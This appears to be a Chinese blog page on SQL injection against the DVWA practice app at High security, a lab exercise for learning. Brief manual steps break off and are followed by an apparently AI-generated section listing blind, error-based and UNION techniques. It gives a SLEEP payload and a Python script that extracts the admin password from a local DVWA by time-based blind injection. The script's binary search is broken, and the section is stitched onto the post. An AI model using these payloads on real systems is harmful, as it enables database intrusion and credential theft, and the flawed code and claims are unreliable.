深入理解MySQL安全(四)-DVWA High security SQL注入方法

本文深入探讨了DVWA中High security级别的MySQL SQL注入思路与方法,包括利用LIMIT限制构造注入、通过错误信息判断列数以及sqlmap的注入技巧。通过对两次请求的组合,展示了如何进行有效注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

前面完成了low,miedia level sql的注入的思路和方法,本章继续讲解high level sql注入的思路及方法。


一、MySQL注入思路

(1)首先输入1正常返回数据,然后1 or 1=1 构造True。发现返回的还是和输入1是一样的。

 核心在于服务端做了返回限制,引入了LIMIT限制,返回 N 条记录,这里限制为1

(2) 加上 ' 来初步判断,发现如下报错。

(3) 既然,有报错,尝试or 语法,绕过前面的报错,并成功获取所有数据。 

DVWA (Damn Vulnerable Web Application) 是一款用于安全测试练习的Web应用程序,它包含了各种各样的漏洞供用户学习如何利用以及修复它们。对于高难度级别的SQL注入挑战(DVWA High SQL Injection),程序增加了基本的安全措施如输入过滤、字符转义等。 ### DVWA HIGH 级别 SQL 注入解析 #### 防护机制特点 在这个级别上,默认会启用 PHP 的 `mysql_real_escape_string` 函数来对用户的输入进行处理。该函数可以将特殊字符转换成其对应的转义序列,例如单引号 `'` 转换成 `\'` 。这一功能有效防止了大部分简单的字符串拼接型攻击向量。 然而即便如此,仍然存在某些技巧绕过这种基础防御层: 1. **时间盲注** 即使无法直接从页面获取反馈信息,也可以通过测量服务器响应延迟推测查询结果是否满足条件。比如构造类似下面这样的payload: ```sql admin' AND SLEEP(5)-- ``` 2. **基于错误的信息泄露** 如果系统配置允许显示详细的数据库报错消息,则有可能提取出有用的数据片段。尽管此路在HIGH模式下通常被封锁掉了,但仍值得尝试。 3. **联合查询** 当目标字段数已知并且支持UNION运算符的情况下,可以通过附加额外的结果集读取敏感数据。不过这里的难点在于需要找到合适的列匹配方式以避开类型冲突的问题。 4. **布尔盲注法** 反复调整请求参数值并观察返回内容的变化趋势判断真假命题成立与否进而逐位恢复隐藏的目标记录文本串形式表示。 --- ### 解决方案示例代码(Python版) 这里提供一段python脚本作为参考,演示如何自动化完成上述任务之一 —— 时间盲注猜解管理员密码的过程。(注意仅限于教育用途) ```python import requests,time,re target_url="http://localhost/DVWA/vulnerabilities/sqli/" data={'id': None,'Submit':'Submit'} cookies={"security":"high","PHPSESSID":""} def check_true(payload): data['id']=f"admin'+{payload}--" start=time.time() resp=requests.post(target_url,data=data,cookies=cookies).text end=time.time()-start return True if "User ID exists in the database."in resp and end>5 else False flag="" for i in range(1,9): #假设我们猜测长度为8 low,mid,up=0,0,127 while(low<=up): mid=(low+up)//2 payload=f"(CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),{i},1))>{mid} THEN SLEEP(5) ELSE 'a' END)" res=check_true(payload) if(res==True): print(f"[+] Found char {chr(mid)} at position {i}") flag+=chr(mid) break print("[*] Final cracked result:",flag) ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值